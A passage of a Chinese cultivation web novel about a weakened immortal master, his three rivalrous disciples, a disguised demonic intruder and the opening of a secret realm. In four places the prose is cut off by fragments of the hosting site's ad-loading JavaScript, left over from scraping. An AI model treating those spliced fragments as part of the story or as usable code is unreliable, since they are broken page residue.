虽然这么想着,但问野没把这些东西说出来,他觉得寒碜。 “走了,你师兄要找我拼命的样子,可真是吓死人呢。”他漫不经心笑了一声,终于肯赏那个方向一个眼神。 “这玩意儿你留着,记得替我跟你师兄问个好。”什么东西丢进了水里,两人交叠的倒影被打乱,而后重组,不过重组后就只剩晏江山一个人的身影了。 青年看着那团黑色,眸子微眯,他今天出去还是引起别人注意了吗。 “师尊!”来的是顾鸣,看方向他是刚从晏江山的住处赶过来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“方才没等到师尊,听着远处有打斗声,这才过来,师尊这边没事吧。” 晏江山拿起那把扇子,轻声道:“没事。” “过来,替你逼出魔种余毒。” 顾鸣当即上前,盘腿坐下闭目调神,金丹后期的五感基本上已经是人类躯体的巅峰,闭上眼睛时周围蒸腾的热气,跟泉中撩动的水声就变得极为明显。 师尊在起身穿衣服?随着这个念头,他脑子里自动回想起刚才见到的景象。等反应过来之后,顾鸣眉头拧起,果真是被魔种迷惑了心智,实在放肆。 没一会儿,水声停了,晏江山走到他旁边坐下,一缕幽蓝灵力顺着顾鸣的额心,流进他的四肢百骸。 毕竟不属于自己,他的神识下意识还是抗拒,随即就被温声提点:“放松,别怕。” 顾鸣微拧的眉头稍稍舒展,接纳了属于师尊的引导,在经脉里循环了整整三遍之后,魔种的痕迹已经半点不剩,而顾鸣也已经完全适应了晏江山的灵力,甚至开始主动的追逐。 青年对此没什么感觉,剑修神识本就活泼且带有攻击性,就是他总觉得缺了点什么。 晏江山睁眼,余光看到了晏月放在岸边的灵药时,才反应过来,缺的不就是稳定跟巩固,这药浴灵泉可不就是最好的吗。 青年一把把所有东西丢下灵泉,伸手拍了拍顾鸣,示意他睁眼。 “师尊?” “下去。”他用下巴指了指灵泉。 “这——”顾鸣眸子微睁,像是听到了什么不可思议的话,严肃的面庞多了点无措。灵泉药浴倒是没什么,但是,但是这池子是刚刚师尊……他怎好借用。 晏江山挑了挑眉,他就知道这个徒弟家教严苛,爱认死理,一个露天的灵水池子而已,居然也这般顾忌。 青年拿着羽扇的手轻挥,带着的灵气直接裹着人往灵泉里倒去,顾鸣措不及防,整个人栽进了水里,湿透的衣衫贴在身上,勾勒出精壮的线条。 “师尊。”顾鸣刚进去就想告罪起来往外走,还没等完全站起来,只是上半身往岸边倾作势要上来,就又顿住。 比起顾鸣的狼狈,晏江山的衣服至少是干的,只是衣襟有些散乱,半湿的头发也仅仅是披着而已。 月光下,青年好像寒宫下来的仙人,只是走得急,看起来有些随意,但随意也有随意的风姿。 顾鸣此刻就被摄住了,比不得对路离的亲密,跟与晏月的默契,师尊跟他的相处总是要更正经一些的,这是第一次。 青年支着脑袋,另一手拿着羽扇,警告似的在他面前一点,浅色的眸子映着粼粼银光,语气认真:“你,不准上来,运气,吸纳,修炼。” “是。” 他身子僵了僵,最后在那眼神下还是老老实实运起了气,只不过刚才清明的脑子,现在只剩下运气,运气,运气。 不知道过了多久,等感觉加热灵泉的火石已经没了灵力,池水变凉时,顾鸣才缓缓睁开眼。 岸上空空如也,没有他的仙人。 5. 师尊离不开他的 后山深林里,追着人影而去的晏月停住了,原本被紧紧跟着的人,就这么凭空消失,或者说现出了原形。 一两秒后,他弯腰拾起什么东西——黑色的,轻盈的羽毛。 乌羽雀的毛。 晚风吹乱黑色细绒,温润如玉的公子眸光晦暗,连月色也不曾照亮,他松开夹着羽毛的手指,本该飘落的羽毛,在无声里化作齑粉。 与此同时,路离那边打斗的动静也平息下来,片刻后一声怒吼,惊的倦鸟群飞,显然路离同样碰到了跟他一样的事情,并且为此震怒。 晏月没有要关心同门的想法,抬脚就打算往回走,没成想刚转身就碰上要去寻的人:“师尊?” 青年伸手从他的肩膀上拂落了一片叶子:“今晚受累了,回去休息吧。” “师尊是要去看路离师弟吗?我也刚打算去呢。”晏月抬眼,看着传来动静的方向。 两人交谈着刚走没多久,就有什么跑了过来,晏月从余光瞥到那一抹白时,就意识到了这是个什么东西,嘴角的弧度往下压了压。 “师父!”路离窜进了晏江山怀里,刚被整理好的衣服,又有些乱,青年无法,用了些力气制住了这只狐狸。 “这是怎么了。”他问着,心里倒是也有答案,这一出声东击西跟调虎离山,怕是把本就倨傲的狐狸气个不轻。 “我……”路离刚准备开口,又生生憋了回去,“没事,师父你还好吧,今晚有人闯进来,不知道是不是冲着师父来的。” 他向来对血脉妖力引以为傲,现在跟师父说这些,不就是明着承认自己甚至被对方鸟毛化成的傀儡耍了吗!那甚至都不是本体! “我没事。”晏江山叮嘱,“最近宗门大会,又逢秘境开启,泸阳城鱼龙混杂,宗门也多了不少人,或许只是谁走错了峰门。” “师尊说的有道理。”晏月敛眸,他当然知道这人怕是山下跟来的,也绝对不可能是走错了峰门这么简单,但是师尊不想说,他就不会去捅破。 “下次让我看见,非要活吃了他!”路离呲牙恶狠狠道。 “哎呦,师父你又打我脑袋。” 晏江山摇摇头:“真是兽性不改。” “我就是说说,又不是真吃。”狐狸撇撇嘴,委屈道,“那师父喜欢打,就给师父打好了,给师父打两下也没什么的,打傻了也没关系。” “好了,不知道真以为我伤了你似的。”青年把狐狸放在了地上,无视他想再黏过来的眼神,“自己走。” “哦。”路离有些郁闷,师父平日里可是最疼他这个徒弟的。 “走吧,路师弟。” “想来四条腿是要比我们快一些的。”晏月眸底浮现出不易察觉的轻慢之色,兽性不改,毕竟是畜生。 兽类对恶意的感知本就敏锐,像路离一直就知道,他这两位师兄并不喜欢他,他也无所谓,反正他也同样不喜欢他们。 此时,狐狸也只是冲着晏月呲了呲牙,就走在了晏江山的另一边,一左一右,把晏江山夹在中间。 “师尊,趁着今晚药浴有些效果,不如把一套玄冥针用上。” “也好。” “师父师父~”路离听着他们说话,在一旁哼哼唧唧,不太乐意,他知道一到这种时候,这个虚伪的师兄就要跟师父独处整整一夜了。 他的抗议并没有什么作用,最后得到的结果,也只是在檐上呲着牙看晏月进师尊的屋子。 晏月天生就对医药一门相当敏感,玄冥针也是晏江山刚收了晏月那几年,替他寻来的秘宝,只是随着现在境界的提升,以前的很多东西,已经不太适用了。 只有这套玄冥针,被晏月留着强行锻造提炼,辅以灵力堪堪可用,但对于境界大跌的晏江山却正好。 “师尊,疼吗。”晏月一边施针,一边问着。 晏江山的上衣被放在一旁,背部光裸趴在床上,上面已经扎上了几根针,此刻他听着晏月的问话轻笑一声:“莫不是我的徒弟傻了?” 虽然他的境界一直在跌,但是几根针而已,又不是什么铁棍铜杆,哪来的什么疼不疼。 晏月毫不介意自己被这么“取笑”,他半跪在床边继续动作着:“听说秘境会把人传送到不同的地方,汇合可能需要时间。” “你倒是知道不少。” “古籍记载罢了,最近其他峰的师兄弟又说了一些。” “我没记错,你这古籍,是从药王那个徒孙那里赢来的吧?”晏江山带着一丝忧虑,“秘境开启药王谷也会去,听说那个败在你手上的徒孙,已经是少谷主了,颇为威风。” “师尊担心我?”晏月眉眼温和,他也开玩笑似的,“再威风,还能威风得过路师弟吗。” 从晏月进屋到现在,耳边那檐上的狐狸磨爪子的声音就没停过,现在听着那调侃这位涂山少主的话,两人对视一眼,齐齐笑了出来。 “比起离儿,是要逊色不少的。”晏江山笑着,忽然想起了未曾提及的大徒弟,“你看到顾鸣了吗?” “大师兄这时候该是跟往常一样,在峰顶练剑吧。以他的性子,今日听师尊说要去秘境,怕是更加紧练功了。” “是个听话的好徒弟。”晏江山打了个哈欠,困意也掩不住他现在心里被自豪、骄傲坠的满满的。 有他这个大徒弟在,完成任务什么的,不也是指日可待?也不比那个莫名其妙闯九灵峰的差啊! 彼时,两人口中勤于修炼,尊师重道的顾鸣,正在峰顶一处洞口坐着。 峰顶除了他几乎没有人上来,也就没有人知道,从这个洞口的角度,刚好能看到晏江山的屋子。 这个时辰,屋子还亮着,大抵是晏师弟在给师父用针了。 他拿起水壶喝了一口,随手擦过嘴角,最后看一眼那屋子,便再度拿起了剑,峰顶的风吹的衣摆烈烈而动,他翻身上峰顶,继续练功。 屋子里,不知道是否因为玄冥针对筋脉的作用实在出奇的好,灵脉活泛运行的同时,晏江山感觉一股困意席卷而来。 没一会儿,就已经伏在榻上睡着了。 晏月对此并不感到意外,知道师尊睡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着,也还是轻缓地扎着针,输送着灵力,青年一挥手,给屋子又布上一个隔绝声音的禁制,享受着师徒间难得的独处时光。 他知道,师尊是离不开他的。 青年眸光似水,望着榻上的人,指尖轻抚过蝴蝶骨,安静落下一吻。 很轻,但是那人感觉到了似的,身体微微颤动,拧着眉心,露出有些痛苦的神色,但是比起纯然的痛苦,又多了一种其他的风味。 晏月伸手把晏江山散落的发丝捋在耳后,沉默地盯着自己的师尊,他不是傻子,知道这是什么意思。 但他也不会愚蠢的以为这是因为自己。 月凉如水,青年又想起了被用作幻形的雀羽。 买走它的人,今晚出现在了九灵峰。在引开他们,而且师尊还在药浴的情况下。 甚至,他们回来之后,师尊从未提起过这段时间里,灵泉那里发生了什么。 晏月垂眸,亲眼看着平日里看惯了的清俊面孔,染上不属于他的旖旎。 到底发生了什么呢。 我的好师尊。 * 翌日一早,天刚蒙蒙亮的时候,晏江山就有了苏醒的迹象,他下意识想伸个懒腰,却发现了靠在床边已经睡着的人。 晏江山想起了昨晚的梦,动作逐渐僵硬,所以……晏月他知道了?青年懊恼地喟叹一声,然后轻手轻脚的下床,准备把人扶上去休息。 刚扶到一半,晏月也悠悠转醒,只不过看得出昨晚精力耗尽,他本身修为也不够深厚,一夜过去确实疲累,现在也还困顿着。 “躺下,再睡会儿。”晏江山看着自己从一个小少年养大的徒弟现在这般模样,也顾不得其他,静静给他盖上了被褥。 他刚想出去,手腕却被人拉住,或许是因为输送一夜灵力,又这么坐了一宿,晏月的手指有些凉:“师尊,您能陪陪我吗。” “嗯。”青年停住,反握住有些凉的手,“睡吧,我在呢。” 上次听见这句话,已经是好多年以前了,晏月刚被他捡回来时,不过十岁,他因为渡劫重伤,匆匆安置好他就闭了两年关。 闭关出来的第一眼,就看到了晏月,那是个晚上,小孩以为自己睡得迷糊在做梦,说的就是这句话。 听人说,他在洞府外守了整整两年,直到现在,还能从那边看出一点当年晏月住的小石屋遗迹。 一晃许多年岁月,晏江山有种恍如隔世的感觉,好在这几个徒弟的成长都还算顺利。 得到应许,晏月这才安心睡去,但是握住师尊的手,也一直没有松开。 “师父!师父你醒了吗!” 又过了一个时辰,已经在檐上等了一夜的路离叫嚷着。晏江山看晏月已经完全苏醒,没有再睡的意思,这才松了禁制,放他进来。 大白狐狸兴冲冲地就往屋里进,然后一整只狐狸愣在原地。 他看着床上的晏月,还有靠在床头的师尊,瞳孔震颤,与此同时脑子里仿佛打开了什么关窍。 原来做徒弟的是可以跟师尊……一张床的吗! 6. 我不管,我也要! 顾鸣今天下山原本是有事情要办的。 九灵峰说话能管用的,拢共也就四个,他师尊病症复发,晏月陪侍,路离又明显不顶用的情况下,很多事情事情就到了他这个大师兄身上。 “簪这个吧?牡丹纹的衬你,不过好看之人,簪什么都好看。”旁边的其他峰的师弟,正跟同门相好的女弟子说着话,两人说笑着,倒是衬得顾鸣有些孤单了。 “顾师兄,宗门要得东西就麻烦你交过去了,我们……嘿嘿”那师弟不好意思地笑笑,拉着旁边更害羞的姑娘匆匆走了,“改天请师兄吃饭!!” 顾鸣没理会,他本来就习惯了一个人行事,有人在旁,实在是吵闹的厉害,也懒得去听那些情思酸话。 宗门大会在山下举行,他此去自然也是山下,等交完秘令完成了任务,处在哗然市井里,叫他有些不自在。 “哥哥!给你家娘子姐妹买个簪子吧。”没等运气飞身,一个拿着篮子的小孩拉住了他的衣角。 “没有。” “也有男子的样式,哥哥你也能用的。”小孩极力介绍着,生怕他不买。 旁边的大人打量着顾鸣,见人气度不凡,不像凡家,生怕惹恼这位公子给自家招来祸端,上前拉着小孩胳膊就想往一边甩:“你个没眼色的!还不滚开让路!” “等等。”顾鸣看着男子粗暴的举动,上前一步挡在了瑟缩的小孩身前,他瞥了眼篮子里的东西,耳边却响起刚才听到的酸话。 好看之人,簪什么都好看。 思绪跟着一句幻语飞回了昨天晚上,他又看到了半披着乌发的仙人。师尊……在他的记忆里好像不怎么挽发。 沉吟片刻,顾鸣挑了根沉檀木的,上面雕着云纹,看起来古朴素雅,顶上的旋刻技法再加银丝相嵌,又让它有了几分灵动之意。 在山下,这是很不错的小物件了。 “谢谢哥哥!”小孩欣喜着,旁边的男人也跟着夸赞,“公子眼光真好,这可是这小摊最宝贝的东西了,说是百年的沉檀木,能保人平安呢。” “不用找了。”顾鸣递过去了几颗灵石,在大小两个人的感激之语下,飞身走了。 或许是昨晚调息练剑颇有功效,顾鸣今天回到九灵峰的速度,比平时快了将近一倍,带着刚买来的东西,他快步向师尊的屋子走去。 还没走近,路离的声音就传到了院门处: “你们昨天晚上睡一张床?” “你们以前!也是睡一张床??” 顾鸣顿住了,平日里就显得冷淡的眸子,此刻没什么情绪地盯着前面的屋子,他再度抬脚,像平常任何时候一样。 “凭什么就我在屋檐上!”路离话音刚落,本就开着的门,又进来一人。 “路离。”顾鸣冷冷道,“大早上你在师尊这里叫嚷什么。” 房间里的人,包括晏江山和床上的晏月,都向顾鸣看了过去。 最近峰顶是真冷了起来吗,这从顶上下来,都还带着寒气。如此热闹的早上,晏江山出神地想。 “凭什么晏月可以睡在房间里,还睡了师尊的床!”路离两只耳朵都气的一动一动的,“我不管,我也要。” 顾鸣看了眼屋里,师尊坐在床边,看样子是在守着晏月,但也绝不像路离说的那般情状。 “师尊,是我的错。”晏月下床行礼,“徒儿以后会勤加修炼,不会再让区区一晚的输送,耗干了灵力。” “无碍。”晏江山摆摆手,“都是为我费心罢了,快回去休息。” 晏月走后,他指了指路离:“不许再闹,你师兄只是在我榻上歇了会儿,莫要说些胡话。” “可是……”路离还是不服,他们做狐狸的,如果不是想跟人春宵一夜,才不会随随便便就躺别人的榻呢。 他看那晏月端的是诡计多端,师尊怎得就这么轻易揭了过去。 “没有可是,秘境之期将近,怎么能仗着妖力强悍就疏于练功。” “哦。”狐狸一大早的还没被师尊摸摸呢,就顶着一肚子委屈走了。 “秘境会把我们分散到不同的地方,届时,还要靠你来找我,此番离儿任务重大,但我徒弟岂有无能之辈?” 晏江山话还没说完,刚要出门的狐狸就再度窜了回来,满血复活似的,在青年身上蹭了蹭,信誓旦旦:“师父放心!徒儿定不负所托!!” 看着路离出门,晏江山松了一口气,这狐狸哄也好哄,但闹起来也是真闹啊,好在这些年,他也摸出了些门道。 青年意念一动,房门又关闭,这个屋子里就剩下了他跟顾鸣。 “宗门秘令送过去了?” “是。” “许多年前,这秘境我也去过一次,据说有大乘期剑修坐化于此,消息真假不明,你可听说?” “徒弟不才,正打算等秘境开启,进去一探。” 晏江山看着顾鸣,他这个徒弟是最省心的,但此刻也不得不叮嘱: “宗门没能查明所谓的坐化。要么这消息是假,要么……知道点什么的,都已经身陨道消。” “谢师尊叮嘱!”顾鸣认真道,“顾鸣必铭记在心,小心行事。” 他这徒弟好是好,就是偶尔也会让他头疼,但看着徒儿这么认真的样子,他也不好再泼冷水,只是点点头予以肯定。 “师尊,我——”顾鸣握紧了袖口的簪子。 “行了,知道你痴于练剑。” 晏江山拿着昨晚到手的羽扇轻摇,这小子总不是嫌他话多,耽误他练功了吧。 “去吧,我就不留你了。” 空气似乎又一秒停滞,在青年停下动作,转头看过去时,又没有任何异常,徒弟抱拳,一如既往地沉默行礼:“是。” * “祖宗,你可算回来了!”怕问野搞出什么大动作,白玉林这一宿都没敢睡,看着人回来,这才安心些许,“你昨晚干什么了?” “不是说了迷路?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白玉林眯着眼睛看他:“你去九灵峰了。你去九灵峰干什么?” “要不是你修炼方法跟普通魔修不同,怕是早就被发现了,九灵峰那些人也不是好相与的。” “嗯。”问野随意应了一声,谁也听得出来他没把这个当回事儿。 “我知道你厉害,但现在还是安安稳稳进了试炼,等着完成任务最好,不要横生枝节,妖类最为敏锐,如果被涂山少主察觉出来,我们可就——” “不会。”问野接着,“我用了妖兽羽毛,上面留着的也是妖兽气息。” “什么妖兽羽毛?”白玉林愣神。 “乌羽雀。”他甚至懒得多说几个字。 “乌羽雀又是什么?” 问野睨了他一眼,不在言语,似乎是在嫌弃,他居然连乌羽雀是什么都不知道,白玉林当然知道,但是,谁能告诉他,这些东西有什么关联吗。 这问野在他不知道的地方,到底都干了什么?! 白玉林有心问清楚,偏偏因为大爷已经不想理他了,他看着问野远去的背影,深吸一口气,他又有了跟之前一样的不妙预感。 退一万步说,这任务就非得让问野这个性子野到没边儿的,一起参与吗?白玉林闭了闭眼,开始给门主传信。 这边在传信的时候,九灵峰同样有人在传信。 晏月立在窗边,静静看着飞出去的纸鹤,这些年他见过不少次师尊病发的模样,每一次的境界都要比上一次低上些许,如果不出意外,金丹初期或许根本都不是结局。 这样恐怖的境界压制,在他从各种医学典籍,奇异要闻里,也只听过一种——蛊毒。 至于是什么蛊,就得等出了秘境,消息传回来时,方能验证。 青年重新坐了下来,蘸了墨水,又开始写秘境里需要的东西。 不比剑门传人跟涂山少主,他只是被捡回来的孤儿,修为境界受限于天资,想更进一步,就得想点别的法子。 他盯着手下的草纸良久,最后又认认真真写下几个字。 “嘭。” 外面忽然传来动静,连地也跟着动,晏月手一偏,最后一笔没了章法。 他打开房门,往外看去,几百米外隐约看得白光跟金色碰撞,妖力与灵力交汇之处,尽是铿锵错杂。 只听着声音都知道,这是路离跟顾鸣打起来了,他们每过一段时间,总是会因为各种原因,“切磋”一下。 晏月知道这次是因为什么,他同样也知道每次的原因。理由大同小异,源头只有“师尊”而已。 青年遥遥看着远处蛮横无比的两束灵气对撞。 少年天才,实力卓绝,他们拥有着很多人倾尽一生也无法触及的东西,甚至是师尊。 一个能正儿八经的拜师,一个能死皮赖脸的留下。晏月啊晏月,你这辈子最好的运气,怕是乱葬岗上撑着没死罢了。 青年似乎想到什么笑话,轻笑一声,关门进屋。 7. 九灵秘境小队出动! 宗门大会第二日,正好也是泸阳秘境百年一开的日子,还没到时间,朝天宗的广场上就汇集了一众弟子。 秘境凶险,但也并存着机遇,是以想去的人不少,各峰弟子也正清点着此行的人数。 “报!五音峰二十七人!集结完毕。” “报!八宝峰三十九人!集结完毕!” “报!元若峰十二人!集结完毕!” “报……” 元若峰主也就是大长老,捋着胡子笑眯眯看向自家宗里的弟子,哪个峰都是人才济济,气宇轩昂…… 忽然,小老头眉心微拧,目光看向一块空地:“九灵峰的人呢?” 他吩咐自己大徒弟:“你去看看你晏小师叔在做什么。” “不劳烦这位师兄了。”晏月飞身落地,行礼,“峰主,师尊他不太舒服,正在歇息,只我们师兄弟过来。” 元若峰主抬眼,晏月身后还有两个人,正是九灵峰的大徒弟跟三徒弟,只是现在两人脸色都算不上好看。 “九灵峰三人,集结完毕。”顾鸣道。 “罢了罢了,既然都来了,那就走吧,你们师尊不在,便跟元若峰弟子共乘一舟。” “秘境之凶险,你们师尊应该讲过,在里面行事小心些,切勿争强斗狠,切勿贪多心重,有事寻求同宗弟子相助,若碰上求助的师兄弟,能帮就帮上一把。” 说着,大长老带人踏上飞舟,片刻后,原本落地的飞舟腾空而起,足有平时用的飞行法器百十倍大。 “记住你们师尊吩咐的,小心为上,性命为上。”大长老话毕,这才离开几人的在的地方,去跟自己峰里弟子嘱咐了。 “师父,你好像也没跟我们说什么。”路离闲不住,传音给缩小了身形躲在人袖口的晏江山。 他本来听着自己师兄的话,也正心虚呢,现在被自己徒弟当着面问,更是有些脸红,青年咳了两声:“你要是不跟你师兄打架,我也不会忙着处理你们两个,连吩咐都忘记了。” “我才没有要跟他打架,明明是他找我打架。”路离哪怕是传着音,脸上还是写满了不服气,这哪儿是狐狸,分明是犟驴。 没等晏江山再说什么,那边大长老就又走了过来,他忙躲回去,晏月见状也整理了一下衣袖。 “今日你们峰是发生了什么事?”这涂山少主怕是跟九灵的大师兄闹了什么龃龉。 “谢大长老关心,九灵峰一切都好,不过是秘境之前小小切磋。”顾鸣回话。 “嗯,那就好。”大长老本意也不是问这个,毕竟是同门师兄弟,又都是晏师弟的关门弟子,再打能打出个什么事来? “路离,你跟我过来一下。” 两人走到一边施下消音术,顾鸣跟晏月当然也识趣地背过身。 “最近朝天宗脚下妖兽频出,怕是有什么东西在背后作乱,泸阳秘境百年一开,鱼龙混杂,保不齐就混进了什么,如果到时候有人想利用妖兽……” “路离明白。”这话的意思显然也很清楚了,“路离定当全力护佑宗门弟子安全。” “自身性命无舆,尚有余力的情况下,再出手,凡事以自己为先。”大长老的手在路离肩膀上拍了拍,“无论怎么样,你都是临江的好徒弟。” 路离刚要点头,仿佛听见了什么不对,他后知后觉:“临江?这也是我师尊的名讳吗?” 大长老一愣,抚须大笑喟叹道:“一百年前,谁不知那临江仙呐!” “只是许多年过去,这小子也不让我们提了,你们这些后来的徒弟,怕是都不知道喽。” 他说完大手一挥,撤下术法,径自走了,只留下一个路离顿在原地。 “怎么了?他跟你说什么?” 路离刚想摇头,就立马意识到这是师尊传的音:“大长老说,如果秘境有妖兽异动,让我尽量护住宗门弟子。” 这话是几人都听得见的,但是后来那事,路离是一个字也没说,好像不说就拥有了一个跟师尊之间的秘密一样。 “既然是跟你悄悄说的,那就说明宗门内部里,怕是也有怀疑的人,这件事情不要声张。” 路离:“是,只不过师父……” “你怎么老是待在晏月那里啊,二师兄本来修为就不好,指不定还要在袖子里放瓶瓶罐罐的药,呛着您可怎么办。” “闭嘴,跟你师兄学学,把功法再运转个几遍,不比你在这儿贫嘴有用。” 晏江山的语气也算得上严厉了,没办法,这徒弟素来不把任何人放在眼里,前天才叮嘱过的,昨日居然又跟师兄打架。 “哦……”路离知道理亏,原地打坐,看向顾鸣撇了撇嘴,切,虚伪,他又看向晏月,再度撇嘴,切,嘚瑟。 这狐狸安分下来,晏江山就开始蹲在袖子里思考人生了,准确来说是思考秘境之行。 刚才所说的怀疑人选,前天晚上闯进九灵峰的男子,自是首当其冲。至于他的目的,他的行径,这些还都不好说,只能走一步看一步。 反正那人不知道自己的身份,就算在秘境里碰上了,也不至于打草惊蛇。 在晏江山想着问野的时候,问野这边同样也在问晏江山。 “师兄,那九灵峰就只有三个人吗。”他做出好奇的模样,“人也太少了吧?” “九灵峰主晏仙尊爱收徒,但关门弟子少有。”正在调试琴弦的师兄抬起来,指点道,“少归少,精倒是挺精,可别小瞧了他们。” 问野默默摇了摇头,小仙君果然很惨,连关门弟子都混不上啊。 “贾师弟,你那白玉笛呢?可是有两天不见你吹了。” “下山被一妖兽追,不小心跑丢了,就换了一个筝。” 师兄欲言又止,刚想交代还是以前用惯了的乐器方便上手,想起这位师弟上手笛子的动静,便也作罢,只是附和着:“筝也好,筝也好。” 左右这东西怎么弹也难听不到哪儿去,好乐器。 妙啊。 “你少跟他们说话,小心暴露。”白玉林看着两人谈话告一段落,悄悄传音道。 “再废话?”问野往飞舟边缘靠了靠,手里还拿着筝,看样子要随时赋景而奏一般,只有白玉林知道…… 这丫的在威胁他。 他就是想完成上面的任务,容易吗。外门弟子不能去秘境,堂堂千年白玉竹妖,还要幻化成乐器带上船,简直是丢死竹子脸了。 飞舟穿云逐雾,很快就破开了层云,乘着阳光开始减慢速度,周围能看到很多自其他方向而来的飞行法器,甚至是飞行妖兽。 除了这些有各自规制的宗门,许多的散修也穿插其中,如果说宗门法器还要讲究面子,那这些就是真的千奇百怪的了。 “瞧那儿,踩着张画呢” “什么画啊?” “美男出浴图。” “什么玩意飞过去了。” “不是,怎么还有骑猪的?” “准备降落了,都收好自己的法器,当心些。”长老开始控制飞舟下降,而晏江山则是观察着前来秘境的各宗各派。 剑门这次只来了十数人,不算少,但作为泸阳城有名有姓的宗门,也实在是不多了,因着顾鸣的关系,看见朝天宗的飞舟过来,一个个虽然面色严肃,也难掩欣喜。 “去看看他们吧,秘境绵延数百里,进去之后如果被传送散开,可能就再也见不到了。”晏江山借着正下船,人员散乱,悄悄易了容出来。 “是。”顾鸣刚要行礼被他及时按住。 “按之前说的,叫我师弟就好,注意言行。” “好,我知道了。”顾鸣唇角动了动,还是没把那个有些不敬的称呼叫出口。 “你呀。”晏江山笑着,从储物戒拿出了之前买的东西,一股脑塞给他,“下山淘了点小玩意儿,要去剑修大能坐化之地的青年才俊怕是不少,这榜上记录着好些英才跟他们的成名技法。 “唤幽铃也修好了,遇见搞不定的险情记得摇铃唤我。” “谢过……”顾鸣话到嘴边,硬是直起打算行礼的身体,抱拳道,“谢过师弟。” “你都不管我,都只管大师兄。”路离刚想闹一闹,就被头顶摸过来的手给安抚了。 “因为大师兄这次不跟我们一起,你肯定是要来找我的,对不对。” “对!”笑话,他们妖兽都不能在秘境里找到人,那还有谁! 路离瞥了晏月一眼:“让二师兄也忙自己的吧,我去找就够了。” “我们一起。”晏江山道,“这次是要去找一种草药。” 他看向不远处统一墨绿色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 服饰的药王谷弟子,其中领头人正好也朝他们,准确来说是朝晏月看过来,目光阴鸷而狠辣,一眼就知道这是在打什么阴毒算计。 同样是修医的,看看他徒弟,再看看这药王徒孙,啧。 晏江山没由来的,对他们多了几分嫌弃。 “朝天宗的道友,是要找什么草药。”那边似乎听到了他们的话,一群人涌了过来,来势汹汹,“说出来,我们帮你参谋一下?” 不知道有意无意,那些人往晏江山那边挤了挤,看准了几人里就他修为最低似的。 晏江山扯了扯嘴角,没等做出反应,就被晏月拉至身后,另一边也被路离挡了下来。 “不劳几位操心,晏月才疏学浅,却也认得几味药。” “连晏月都比不过,好意思来找茬,涂山九十岁的小狐狸都知羞了,你们的脸皮怎么比上次输掉的药王古籍还厚。” “咳咳。”被两人挡住的晏江山轻轻拉路离一下,他知道路离不饶人,却没想到这家伙句句往人心窝子里戳。 “师弟,你也觉得我说的对吗?”路离大声道,“晏月师兄,看来小师弟也觉得你上次换古籍真是亏了,该割下这帮人的老脸,看看有没有什么奇方异效。” “你…你们!!”为首的张宣,也就是上次败给晏月的药王谷徒孙,简直是怒发冲冠,但他知道打是肯定打不赢的。 他们药修怎么会跟这群莽夫一样擅长打杀,更何况这边这位明显身份不一般,是涂山少主无疑了。 药王谷是不能跟一族抗衡的,尤其是最记仇的狐族。他又愤愤带着一群人乌泱泱走了。 “路离,莽撞了。”易了容的青年小声道。 “谁让他们挤你的。”路离哼哼两声,“那眼睛都瞎掉了,往哪儿蹭呢。” 这场闹剧自然也被周围其他人收入眼底,其中就包括刚跟着五音峰弟子下飞舟的问野。 有白玉林这个收集消息天赋点满的八卦精在,他脚还没落地,事情的全貌就尽数悉知。 “小师弟……”又伪装回少年模样的人盯着晏江山看了两秒,“他要找草药?” 问野试图回想当初他们九灵峰见面的场景,就记得,月亮很亮,灵泉也被衬的很亮,又亮又白—— 白玉林又说了半天,结果发现自己的同伴在发呆,他叫了两声:“你想什么呢,一会儿进去就找机会制造混乱,记得按计划行事。” 少年回神,敷衍的点了点头,接着又看向那个小仙君,他还是做了伪装,但是伪装的技术实在不行。 晏江山也知道自己伪装很烂,尤其是金丹初期的实力,想要伪装好就更难,所以他下飞舟之后,已经极力想要避开大长老,怎奈又发生了点小插曲。 他往路离跟晏月身后藏了藏,祈求刚才那档子事儿没被大长老注意到,下一秒他就收到了朝天宗的传音。 “师弟,你不好好在九灵峰待着,来秘境添什么乱,居然还联合几个徒弟一起骗我,你呀。” “听说秘境有一味药,能延缓我的症状,来看看而已。” 大长老叹气,只叮嘱着:“凡事小心。” “诸位!泸阳秘境开启在即!请诸位安静。”包括朝天宗在内的几个泸阳城的宗门长老,飞身立在周围的六个石柱上。 与此同时,在场的修士们,无论是宗门弟子,还是闲人散修,均严阵以待,眼也不眨目视前方。 随着几宗长老法器出动,灵力大起,颜色各异的光芒聚满了石柱,最后汇成一道光,同时向正前方打去,漩涡之门就此开启。 “秘境三日后关闭,关闭之后,再无任何人可出入,务必注意时辰。” 话音还没落下,就有许多人已经冲进了阵中,其中最快的,是刚才他们在飞舟看到骑着小飞猪的,他身后就是御剑而行的顾鸣了。 不比这些去寻觅机缘的,晏江山并不太急,甚至看着有人比自己引以为傲的徒儿还快,还颇有闲心的翻看起了天才榜。 那人果然是榜上有名以速度著称的,能上这天才榜的人,还真是各有所长…… 等等。 晏江山一怔,拿着卷轴正反面好好看了一通,然后顿在原地,青年缓缓看向即将消失在视野里的大徒弟…… 如果他手里的是天才榜,那他给顾鸣的—— 8. 可怜的小仙君 身着墨色长袍的男人才过漩涡,就感觉周围空间在扭曲回转,待稳住身形却发现自己出现踏入了完全陌生的区域。 是时空扭曲的错觉吗?刚才似乎听见了师尊在叫他? 顾鸣下意识回头看了看,目光所及却只剩残垣断瓦,鼻翼间也只是木头腐烂气息,看样子已经在秘境腹地了。 他拿出地图,这是师尊昨天绘制的,也就是他跟路离打架的那个下午,师尊绘制完,还要再费心去处理他们之间的事。 顾鸣抿唇,让自己不要多想,把注意力放在地图上。 地图总共大概分成了五大部分:废城,神殿,迷雾之森,血肉山谷,琉璃瀑布。 图上只是标注了基础的地点方位,跟周围可能出现的妖兽精怪,再细的东西就没有了。 按照他所知道的消息,那位剑修大能的殒命之地,对应着地图,就在废城跟神殿的中间区域。 顾鸣刚抬脚要走,忽然一凛,浑身肌肉紧绷,衣摆也被带起的浑厚灵气卷的飞舞,男人握剑,神色警惕。 “不愧是剑门后人,在下林玄,失礼了。”顾鸣对他有些印象,这人正是刚才唯一一个比他还要快的。 